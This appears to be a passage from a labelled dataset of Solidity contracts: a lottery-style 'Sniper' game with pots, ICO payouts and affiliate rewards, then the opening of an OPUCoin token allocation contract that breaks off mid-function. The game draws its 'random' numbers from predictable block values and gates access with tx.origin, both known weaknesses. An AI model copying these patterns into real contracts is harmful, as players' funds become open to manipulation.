uint256[] private icoSidArr_;
uint256[] private luckyPotBingoArr_;
uint256[] private airdropPotBingoArr_;
mapping (address => uint256) public sIDxAddr_;
mapping (bytes32 => uint256) public sIDxName_;
mapping (uint256 => uint256) public sidXnum_;
mapping (uint256 => SPBdatasets.Sniper) public spr_;
mapping (uint256 => SPBdatasets.Round) public round_;
mapping (uint256 => mapping (bytes32 => bool)) public sprNames_;
constructor()
public
{
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check our discord");
_;
}
modifier isHuman() {
require(tx.origin == msg.sender, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 100000000000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
modifier isIcoPhase() {
require(now < round_[1].icoend, "ico end");
_;
}
modifier isGameStart() {
require(now > round_[rID_].icoend, "start");
_;
}
modifier isWithinIcoLimits(uint256 _eth) {
require(_eth >= 1000000000000000000, "pocket lint: not a valid currency");
require(_eth <= 200000000000000000000, "ico up to 200 Ether");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
isGameStart()
payable
external
{
determineSID();
uint256 _sID = sIDxAddr_[msg.sender];
buyCore(_sID, spr_[_sID].laff);
}
function buyXaddr(address _affCode)
public
isActivated()
isHuman()
isWithinLimits(msg.value)
isGameStart()
payable
{
determineSID();
uint256 _sID = sIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = spr_[_sID].laff;
} else {
_affID = sIDxAddr_[_affCode];
if (_affID != spr_[_sID].laff)
{
spr_[_sID].laff = _affID;
}
}
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = spr_[_sID].laff;
} else {
_affID = sIDxAddr_[_affCode];
if (_affID != spr_[_sID].laff)
{
spr_[_sID].laff = _affID;
}
}
buyCore(_sID, _affID);
}
function becomeSniperAngel()
public
isActivated()
isHuman()
isIcoPhase()
isWithinIcoLimits(msg.value)
payable
{
determineSID();
uint256 _sID = sIDxAddr_[msg.sender];
spr_[_sID].icoAmt = spr_[_sID].icoAmt.add(msg.value);
icoSidArr_.push(_sID);
round_[1].mpot = round_[1].mpot.add((msg.value / 100).mul(80));
icoAmount_ = icoAmount_.add(msg.value);
uint256 _icoEth = (msg.value / 100).mul(20);
if(_icoEth > 0)
comICO_.transfer(_icoEth);
emit onICOAngel(msg.sender, msg.value, block.timestamp);
}
function withdraw()
public
isActivated()
isHuman()
{
uint256 _now = now;
uint256 _sID = sIDxAddr_[msg.sender];
uint256 _eth = withdrawEarnings(_sID);
if (_eth > 0)
spr_[_sID].addr.transfer(_eth);
emit SPBevents.onWithdraw(_sID, msg.sender, _eth, _now);
}
function withdrawEarnings(uint256 _sID)
private
returns(uint256)
{
uint256 _earnings = (spr_[_sID].win).add(spr_[_sID].gen).add(spr_[_sID].aff).add(spr_[_sID].gems);
if (_earnings > 0)
{
spr_[_sID].win = 0;
spr_[_sID].gen = 0;
spr_[_sID].aff = 0;
spr_[_sID].gems = 0;
}
return(_earnings);
}
function generateRandom()
private
view
returns(uint256)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
seed = seed - ((seed / 100000000) * 100000000) + 1;
return seed;
}
function itemRemove(uint256[] storage self, uint256 index) private {
if (index >= self.length) return;
for (uint256 i = index; i < self.length - 1; i++){
self[i] = self[i+1];
}
self.length--;
}
function buyCore(uint256 _sID, uint256 _affID)
private
{
uint256 _rID = rID_;
if(_affID == 0 && spr_[_sID].laff == 0) {
emit onAffiliatePayout(4, _rID, _sID, msg.value, now);
core(_rID, _sID, msg.value, 4);
}else{
emit onAffiliatePayout(_affID, _rID, _sID, msg.value, now);
core(_rID, _sID, msg.value, _affID);
}
}
function core(uint256 _rID, uint256 _sID, uint256 _eth, uint256 _affID)
private
{
uint256 _now = block.timestamp;
uint256 _value = _eth;
uint256 _laffRearwd = _value / 10;
spr_[_affID].aff = spr_[_affID].aff.add(_laffRearwd);
spr_[_sID].laff = _affID;
spr_[_sID].lplyt = _now;
_value = _value.sub(_laffRearwd);
uint256 _rndFireNum = generateRandom();
emit onEndTx(_sID, _eth, _rndFireNum, _affID, _now);
round_[_rID].ltime = _now;
bool _isBingoLp = false;
bool _isBingoKp = false;
if(globalArr_.length != 0){
if(globalArr_.length == 1)
{
globalArrEqualOne(_rID, _sID, _value, _rndFireNum);
}else{
globalArrNotEqualOne(_rID, _sID, _value, _rndFireNum);
}
}else{
globalArrEqualZero(_rID, _sID, _value, _rndFireNum);
}
_isBingoLp = calcBingoLuckyPot(_rndFireNum);
if(_isBingoLp){
spr_[_sID].win = spr_[_sID].win.add(round_[_rID].lpot);
round_[_rID].lpot = 0;
emit onCheckLuckypot(_rndFireNum, _rID, spr_[_sID].addr, block.timestamp);
}
if(_eth >= 500000000000000000){
_isBingoKp = calcBingoAirdropPot(_rndFireNum);
if(_isBingoKp){
spr_[_sID].win = spr_[_sID].win.add(round_[_rID].apot);
round_[_rID].apot = 0;
emit onCheckKingpot(_rndFireNum, spr_[_sID].addr, _rID, block.timestamp);
}
}
checkWinMainPot(_rID, _sID, _rndFireNum);
autoDrawWithOEZDay();
}
function autoDrawWithOEZDay()
private
{
uint256 _oezDay = round_[rID_].strt + 180 days;
if(!isDrawed_ && now > _oezDay){
totalSum_ = 0;
uint256 _cttBalance = round_[rID_].mpot.add(round_[rID_].lpot).add(round_[rID_].apot);
uint256 _communityRewards = (_cttBalance / 100).mul(30);
if(_communityRewards > 0)
comReward_.transfer(_communityRewards);
uint256 _sniperDividend;
if(icoAmount_ > 0){
_sniperDividend = (_cttBalance / 100).mul(30);
uint256 _icoValue = (_cttBalance / 100).mul(30);
distributeICO(_icoValue);
}else{
_sniperDividend = (_cttBalance / 100).mul(60);
}
uint256 _eachPiece = _sniperDividend / lastSID_;
for(uint256 i = 1; i < lastSID_; i++)
{
spr_[i].win = spr_[i].win.add(_eachPiece);
}
uint256 _communityMarket = (_cttBalance / 100).mul(5);
if(_communityMarket > 0){
comMarket_.transfer(_communityMarket);
donateAccount_.transfer(_communityMarket);
}
emit onOEZDay(_cttBalance, now);
round_[rID_].mpot = 0;
round_[rID_].lpot = 0;
round_[rID_].apot = 0;
uint256 _icoEndTime = round_[rID_].icoend;
rID_++;
round_[rID_].strt = now;
round_[rID_].icoend = _icoEndTime;
}
}
function globalArrEqualZero(uint256 _rID, uint256 _sID, uint256 _value, uint256 _rndFireNum)
private
{
round_[_rID].mpot = round_[_rID].mpot.add(((_value / 2) / 100).mul(90));
round_[_rID].lpot = round_[_rID].lpot.add(((_value / 2) / 100).mul(5));
round_[_rID].apot = round_[_rID].apot.add(((_value / 2) / 100).mul(5));
sidXnum_[_rndFireNum] = _sID;
spr_[_sID].numbers.push(_rndFireNum);
spr_[_sID].snums++;
spr_[_sID].gen = spr_[_sID].gen.add(_value / 2);
globalArr_.push(_rndFireNum);
totalSum_ = totalSum_.add(_rndFireNum);
}
function globalArrNotEqualOne(uint256 _rID, uint256 _sID, uint256 _value, uint256 _rndFireNum)
private
{
uint256 _opID = sidXnum_[globalArr_[0]];
bool _found = false;
uint256 _index = 0;
(_found, _index) = globalArr_.indexOf(_rndFireNum, false);
_opID = sidXnum_[_rndFireNum];
if(_found){
(_found, _index) = spr_[_opID].numbers.indexOf(_rndFireNum, false);
itemRemove(spr_[_opID].numbers, _index);
spr_[_opID].snums--;
sidXnum_[_rndFireNum] = _sID;
spr_[_sID].snums++;
spr_[_sID].numbers.push(_rndFireNum);
spr_[_opID].win = spr_[_opID].win.add(_value);
emit onCheckHitNumber(_rndFireNum, _opID, spr_[_sID].addr, _rID, block.timestamp);
}else{
round_[_rID].mpot = round_[_rID].mpot.add(((_value / 2) / 100).mul(90));
round_[_rID].lpot = round_[_rID].lpot.add(((_value / 2) / 100).mul(5));
round_[_rID].apot = round_[_rID].apot.add(((_value / 2) / 100).mul(5));
globalArr_.push(_rndFireNum);
globalArr_.heapSort();
(_found, _index) = globalArr_.indexOf(_rndFireNum, true);
if(_index == 0){
_opID = sidXnum_[globalArr_[_index + 1]];
spr_[_opID].win = spr_[_opID].win.add(((_value / 2) / 100).mul(50));
spr_[_sID].snums++;
spr_[_sID].numbers.push(_rndFireNum);
spr_[_sID].gen = spr_[_sID].gen.add(((_value / 2) / 100).mul(50));
sidXnum_[_rndFireNum] = _sID;
}else if(_index == globalArr_.length - 1){
_opID = sidXnum_[globalArr_[_index -1]];
spr_[_opID].win = spr_[_opID].win.add(((_value / 2) / 100).mul(50));
spr_[_sID].snums++;
spr_[_sID].numbers.push(_rndFireNum);
spr_[_sID].gen = spr_[_sID].gen.add(((_value / 2) / 100).mul(50));
sidXnum_[_rndFireNum] = _sID;
}else{
uint256 _leftSID = sidXnum_[globalArr_[_index - 1]];
uint256 _rightSID = sidXnum_[globalArr_[_index + 1]];
spr_[_leftSID].win = spr_[_leftSID].win.add(((_value / 2) / 100).mul(50));
spr_[_rightSID].win = spr_[_rightSID].win.add(((_value / 2) / 100).mul(50));
spr_[_sID].snums++;
spr_[_sID].numbers.push(_rndFireNum);
sidXnum_[_rndFireNum] = _sID;
}
}
totalSum_ = totalSum_.add(_rndFireNum);
}
function globalArrEqualOne(uint256 _rID, uint256 _sID, uint256 _value, uint256 _rndFireNum)
private
{
uint256 _opID = sidXnum_[globalArr_[0]];
bool _found = false;
uint256 _index = 0;
if(globalArr_[0] != _rndFireNum)
{
round_[_rID].mpot = round_[_rID].mpot.add(((_value / 2) / 100).mul(90));
round_[_rID].lpot = round_[_rID].lpot.add(((_value / 2) / 100).mul(5));
round_[_rID].apot = round_[_rID].apot.add(((_value / 2) / 100).mul(5));
sidXnum_[_rndFireNum] = _sID;
spr_[_opID].win = spr_[_opID].win.add((_value / 4));
spr_[_sID].snums++;
spr_[_sID].numbers.push(_rndFireNum);
spr_[_sID].gen = spr_[_sID].gen.add((_value / 4));
globalArr_.push(_rndFireNum);
}else{
spr_[_opID].win = spr_[_opID].win.add(_value);
(_found, _index) = spr_[_opID].numbers.indexOf(_rndFireNum, false);
itemRemove(spr_[_opID].numbers, _index);
sidXnum_[_rndFireNum] = _sID;
spr_[_opID].snums--;
spr_[_sID].snums++;
spr_[_sID].numbers.push(_rndFireNum);
emit onCheckHitNumber(_rndFireNum, _opID, spr_[_sID].addr, _rID, block.timestamp);
}
totalSum_ = totalSum_.add(_rndFireNum);
}
function checkLuckyPot(uint256 _rndFireNum) private returns(uint256){
delete luckyPotBingoArr_;
uint256 number = _rndFireNum;
uint returnNum = number;
while (number > 0) {
uint256 digit = uint8(number % 10);
number = number / 10;
luckyPotBingoArr_.push(digit);
}
return returnNum;
}
function checkAirdropPot(uint256 _rndFireNum) private returns(uint256){
delete airdropPotBingoArr_;
uint256 number = _rndFireNum;
uint returnNum = number;
while (number > 0) {
uint256 digit = uint8(number % 10);
number = number / 10;
airdropPotBingoArr_.push(digit);
}
return returnNum;
}
function getDigit(uint256 x) private view returns (uint256) {
return luckyPotBingoArr_[x];
}
function calcBingoLuckyPot(uint256 _rndFireNum)
private
returns(bool)
{
bool _isBingoLucky = false;
checkLuckyPot(_rndFireNum);
uint256 _flag;
if(luckyPotBingoArr_.length > 1) {
for(uint256 i = 0; i < luckyPotBingoArr_.length; i++){
if(luckyPotBingoArr_[0] == getDigit(i)){
_flag++;
}
}
}
if(_flag == luckyPotBingoArr_.length && _flag != 0 && luckyPotBingoArr_.length != 0){
_isBingoLucky = true;
}
return(_isBingoLucky);
}
function calcBingoAirdropPot(uint256 _rndFireNum) private returns(bool) {
bool _isBingoAirdrop = false;
checkAirdropPot(_rndFireNum);
uint256 _temp;
if(airdropPotBingoArr_.length > 1) {
airdropPotBingoArr_.heapSort();
_temp = airdropPotBingoArr_[0];
for(uint256 i = 0; i < airdropPotBingoArr_.length; i++){
if(i == 0 || airdropPotBingoArr_[i] == _temp.add(i)){
_isBingoAirdrop = true;
}else{
_isBingoAirdrop = false;
break;
}
}
}
return(_isBingoAirdrop);
}
function checkWinMainPot(uint256 _rID, uint256 _sID, uint256 _rndFireNum) private {
if(totalSum_ == maxNumber_){
isDrawed_ = true;
totalSum_ = 0;
spr_[_sID].snums = 0;
delete spr_[_sID].numbers;
uint256 _nextMpot;
uint256 _nextLpot = round_[_rID].lpot;
uint256 _nextApot = round_[_rID].apot;
uint256 _icoEndTime = round_[_rID].icoend;
uint256 _communityRewards;
if(icoAmount_ > 0){
_nextMpot = (round_[_rID].mpot / 100).mul(20);
_communityRewards = (round_[_rID].mpot / 100).mul(10);
}else{
_nextMpot = (round_[_rID].mpot / 100).mul(30);
_communityRewards = (round_[_rID].mpot / 100).mul(20);
}
if(_communityRewards > 0)
comReward_.transfer(_communityRewards);
spr_[_sID].win = spr_[_sID].win.add((round_[rID_].mpot / 100).mul(48));
uint256 _communityMarket = (round_[_rID].mpot / 100).mul(1);
if(_communityMarket > 0){
comMarket_.transfer(_communityMarket);
donateAccount_.transfer(_communityMarket);
}
emit onCheckMainpot(_rndFireNum, _rID, spr_[_sID].addr, block.timestamp);
if(icoAmount_ > 0){
uint256 _icoValue = (round_[_rID].mpot / 100).mul(20);
distributeICO(_icoValue);
}
round_[rID_].mpot = 0;
round_[rID_].lpot = 0;
round_[rID_].apot = 0;
rID_++;
round_[rID_].strt = now;
round_[rID_].mpot = _nextMpot;
round_[rID_].lpot = _nextLpot;
round_[rID_].apot = _nextApot;
round_[rID_].icoend = _icoEndTime;
}else{
if(totalSum_ > maxNumber_){
uint256 _overNum = totalSum_.sub(maxNumber_);
totalSum_ = maxNumber_.sub(_overNum);
}
}
}
function distributeICO(uint256 _icoValue)
private
{
for(uint256 i = 0; i < icoSidArr_.length; i++){
uint256 _ps = percent(spr_[icoSidArr_[i]].icoAmt, icoAmount_, 4);
uint256 _rs = _ps.mul(_icoValue) / 10000;
spr_[icoSidArr_[i]].gems = spr_[icoSidArr_[i]].gems.add(_rs);
}
}
function percent(uint256 numerator, uint256 denominator, uint256 precision) private pure returns(uint256 quotient) {
uint256 _numerator = numerator * 10 ** (precision+1);
uint256 _quotient = ((_numerator / denominator) + 5) / 10;
return ( _quotient);
}
function determineSID()
private
{
uint256 _sID = sIDxAddr_[msg.sender];
if (_sID == 0)
{
_sID = SniperBook.getSniperID(msg.sender);
lastSID_ = _sID;
bytes32 _name = SniperBook.getSniperName(_sID);
uint256 _laff = SniperBook.getSniperLAff(_sID);
sIDxAddr_[msg.sender] = _sID;
spr_[_sID].addr = msg.sender;
if (_name != "")
{
sIDxName_[_name] = _sID;
spr_[_sID].name = _name;
sprNames_[_sID][_name] = true;
}
if (_laff != 0 && _laff != _sID)
spr_[_sID].laff = _laff;
}
}
function getTotalSum()
public
isHuman()
view
returns(uint256)
{
return(totalSum_);
}
function getCurrentRoundInfo()
public
isHuman()
view
returns(uint256, uint256, uint256, uint256, uint256, uint256[] memory)
{
return(rID_, totalSum_, round_[rID_].lpot, round_[rID_].mpot, round_[rID_].apot, globalArr_);
}
function getSniperInfo(address _addr)
public
isHuman()
view
returns(uint256[] memory, uint256, uint256, uint256, uint256, uint256)
{
return(spr_[sIDxAddr_[_addr]].numbers, spr_[sIDxAddr_[_addr]].aff, spr_[sIDxAddr_[_addr]].win, spr_[sIDxAddr_[_addr]].gems, spr_[sIDxAddr_[_addr]].gen, spr_[sIDxAddr_[_addr]].icoAmt);
}
function getSID(address _addr)
public
isHuman()
view
returns(uint256)
{
return(sIDxAddr_[_addr]);
}
function getGameTime()
public
isHuman()
view
returns(uint256, uint256, bool)
{
bool _icoOff = false;
if(now > round_[1].icoend && activated_){
_icoOff = true;
}
return(round_[1].icoend, icoAmount_, _icoOff);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x461f346C3B3D401A5f9Fef44bAB704e96abC926F ||
msg.sender == 0x727fE77FFDf8D40F34f641DfB358d9856F9563cA ||
msg.sender == 0x3b300189AfA703372022Ca97C64FaA27AdA05238 ||
msg.sender == 0x4b95DE2f5E202b59B22a0EcCf6A7C2aa5578Ee4D ||
msg.sender == 0x9f01209Fb1FA757cF6025C2aBf17b847408deDE5,
"only luckyteam can activate"
);
require(address(comReward_) != address(0), "must link to comReward address");
require(address(comMarket_) != address(0), "must link to comMarket address");
require(address(comICO_) != address(0), "must link to comICO address");
require(address(donateAccount_) != address(0), "must link to donateAccount address");
require(activated_ == false, "H1M already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].icostrt = now;
round_[1].icoend = now + icoEndTime_;
}
function receiveSniperInfo(uint256 _sID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(SniperBook), "your not playerNames contract... hmmm..");
if (sIDxAddr_[_addr] != _sID)
sIDxAddr_[_addr] = _sID;
if (sIDxName_[_name] != _sID)
sIDxName_[_name] = _sID;
if (spr_[_sID].addr != _addr)
spr_[_sID].addr = _addr;
if (spr_[_sID].name != _name)
spr_[_sID].name = _name;
if (spr_[_sID].laff != _laff)
spr_[_sID].laff = _laff;
if (sprNames_[_sID][_name] == false)
sprNames_[_sID][_name] = true;
}
function receiveSniperNameList(uint256 _sID, bytes32 _name)
external
{
require (msg.sender == address(SniperBook), "your not playerNames contract... hmmm..");
if(sprNames_[_sID][_name] == false)
sprNames_[_sID][_name] = true;
}
}
library SPBdatasets {
struct Round {
uint256 strt;
uint256 icostrt;
uint256 icoend;
uint256 ltime;
uint256 apot;
uint256 lpot;
uint256 mpot;
}
struct Sniper {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lplyt;
uint256 laff;
uint256 snums;
uint256 icoAmt;
uint256 gems;
uint256[] numbers;
}
}
interface RubyFundForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface SniperBookInterface {
function getSniperID(address _addr) external returns (uint256);
function getSniperName(uint256 _sID) external view returns (bytes32);
function getSniperLAff(uint256 _sID) external view returns (uint256);
function getSniperAddr(uint256 _sID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library Array256Lib {
function sumElements(uint256[] storage self) public view returns(uint256 sum) {
assembly {
mstore(0x60,self_slot)
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
sum := add(sload(add(sha3(0x60,0x20),i)),sum)
}
}
}
function getMax(uint256[] storage self) public view returns(uint256 maxValue) {
assembly {
mstore(0x60,self_slot)
maxValue := sload(sha3(0x60,0x20))
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
switch gt(sload(add(sha3(0x60,0x20),i)), maxValue)
case 1 {
maxValue := sload(add(sha3(0x60,0x20),i))
}
}
}
}
function getMin(uint256[] storage self) public view returns(uint256 minValue) {
assembly {
mstore(0x60,self_slot)
minValue := sload(sha3(0x60,0x20))
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
switch gt(sload(add(sha3(0x60,0x20),i)), minValue)
case 0 {
minValue := sload(add(sha3(0x60,0x20),i))
}
}
}
}
function indexOf(uint256[] storage self, uint256 value, bool isSorted)
public
view
returns(bool found, uint256 index) {
assembly{
mstore(0x60,self_slot)
switch isSorted
case 1 {
let high := sub(sload(self_slot),1)
let mid := 0
let low := 0
for { } iszero(gt(low, high)) { } {
mid := div(add(low,high),2)
switch lt(sload(add(sha3(0x60,0x20),mid)),value)
case 1 {
low := add(mid,1)
}
case 0 {
switch gt(sload(add(sha3(0x60,0x20),mid)),value)
case 1 {
high := sub(mid,1)
}
case 0 {
found := 1
index := mid
low := add(high,1)
}
}
}
}
case 0 {
for { let low := 0 } lt(low, sload(self_slot)) { low := add(low, 1) } {
switch eq(sload(add(sha3(0x60,0x20),low)), value)
case 1 {
found := 1
index := low
low := sload(self_slot)
}
}
}
}
}
function getParentI(uint256 index) private pure returns (uint256 pI) {
uint256 i = index - 1;
pI = i/2;
}
function getLeftChildI(uint256 index) private pure returns (uint256 lcI) {
uint256 i = index * 2;
lcI = i + 1;
}
function heapSort(uint256[] storage self) public {
uint256 end = self.length - 1;
uint256 start = getParentI(end);
uint256 root = start;
uint256 lChild;
uint256 rChild;
uint256 swap;
uint256 temp;
while(start >= 0){
root = start;
lChild = getLeftChildI(start);
while(lChild <= end){
rChild = lChild + 1;
swap = root;
if(self[swap] < self[lChild])
swap = lChild;
if((rChild <= end) && (self[swap]<self[rChild]))
swap = rChild;
if(swap == root)
lChild = end+1;
else {
temp = self[swap];
self[swap] = self[root];
self[root] = temp;
root = swap;
lChild = getLeftChildI(root);
}
}
if(start == 0)
break;
else
start = start - 1;
}
while(end > 0){
temp = self[end];
self[end] = self[0];
self[0] = temp;
end = end - 1;
root = 0;
lChild = getLeftChildI(0);
while(lChild <= end){
rChild = lChild + 1;
swap = root;
if(self[swap] < self[lChild])
swap = lChild;
if((rChild <= end) && (self[swap]<self[rChild]))
swap = rChild;
if(swap == root)
lChild = end + 1;
else {
temp = self[swap];
self[swap] = self[root];
self[root] = temp;
root = swap;
lChild = getLeftChildI(root);
}
}
}
}
function uniq(uint256[] storage self) public returns (uint256 length) {
bool contains;
uint256 index;
for (uint256 i = 0; i < self.length; i++) {
(contains, index) = indexOf(self, self[i], false);
if (i > index) {
for (uint256 j = i; j < self.length - 1; j++){
self[j] = self[j + 1];
}
delete self[self.length - 1];
self.length--;
i--;
}
}
length = self.length;
}
} | 1 | 4,863 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require( (allowed[msg.sender][_spender] == 0) || (_value == 0) );
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferInitiated(
address indexed previousOwner,
address indexed newOwner
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier ownedBy(address _a) {
require( msg.sender == _a );
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function transferOwnershipAtomic(address _newOwner) public onlyOwner {
owner = _newOwner;
newOwner = address(0);
emit OwnershipTransferred(owner, _newOwner);
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
newOwner = address(0);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
newOwner = _newOwner;
emit OwnershipTransferInitiated(owner, _newOwner);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
uint constant public SUPPLY_HARD_CAP = 1500 * 1e6 * 1e18;
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
require( totalSupply_.add(_amount) <= SUPPLY_HARD_CAP );
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Allocation is Ownable {
using SafeMath for uint256;
address public backend;
address public team;
address public partners;
address public toSendFromStorage; address public rewards;
OPUCoin public token;
Vesting public vesting;
ColdStorage public coldStorage;
bool public emergencyPaused = false;
bool public finalizedHoldingsAndTeamTokens = false;
bool public mintingFinished = false;
uint constant internal MIL = 1e6 * 1e18;
uint constant internal ICO_DISTRIBUTION = 550 * MIL;
uint constant internal TEAM_TOKENS = 550 * MIL;
uint constant internal COLD_STORAGE_TOKENS = 75 * MIL;
uint constant internal PARTNERS_TOKENS = 175 * MIL;
uint constant internal REWARDS_POOL = 150 * MIL;
uint internal totalTokensSold = 0;
event TokensAllocated(address _buyer, uint _tokens);
event TokensAllocatedIntoHolding(address _buyer, uint _tokens);
event TokensMintedForRedemption(address _to, uint _tokens);
event TokensSentIntoVesting(address _vesting, address _to, uint _tokens);
event TokensSentIntoHolding(address _vesting, address _to, uint _tokens);
event HoldingAndTeamTokensFinalized();
event BackendUpdated(address oldBackend, address newBackend);
event TeamUpdated(address oldTeam, address newTeam);
event PartnersUpdated(address oldPartners, address newPartners);
event ToSendFromStorageUpdated(address oldToSendFromStorage, address newToSendFromStorage);
constructor(
address _backend,
address _team,
address _partners,
address _toSendFromStorage,
address _rewards
)
public
{
require( _backend != address(0) );
require( _team != address(0) );
require( _partners != address(0) );
require( _toSendFromStorage != address(0) );
require( _rewards != address(0) );
backend = _backend;
team = _team;
partners = _partners;
toSendFromStorage = _toSendFromStorage;
rewards = _rewards;
token = new OPUCoin();
vesting = new Vesting(address(token), team);
coldStorage = new ColdStorage(address(token));
}
function emergencyPause() public onlyOwner unpaused { emergencyPaused = true; }
function emergencyUnpause() public onlyOwner paused { emergencyPaused = false; }
function allocate(
address _buyer,
uint _tokensWithStageBonuses
)
public
ownedBy(backend)
mintingEnabled
{
uint tokensAllocated = _allocateTokens(_buyer, _tokensWithStageBonuses);
emit TokensAllocated(_buyer, tokensAllocated);
}
function finalizeHoldingAndTeamTokens()
public
ownedBy(backend)
unpaused
{
require( !finalizedHoldingsAndTeamTokens );
finalizedHoldingsAndTeamTokens = true;
vestTokens(team, TEAM_TOKENS);
holdTokens(toSendFromStorage, COLD_STORAGE_TOKENS);
token.mint(partners, PARTNERS_TOKENS);
token.mint(rewards, REWARDS_POOL);
vesting.finalizeVestingAllocation();
mintingFinished = true;
token.finishMinting();
emit HoldingAndTeamTokensFinalized();
}
function _allocateTokens(
address _to,
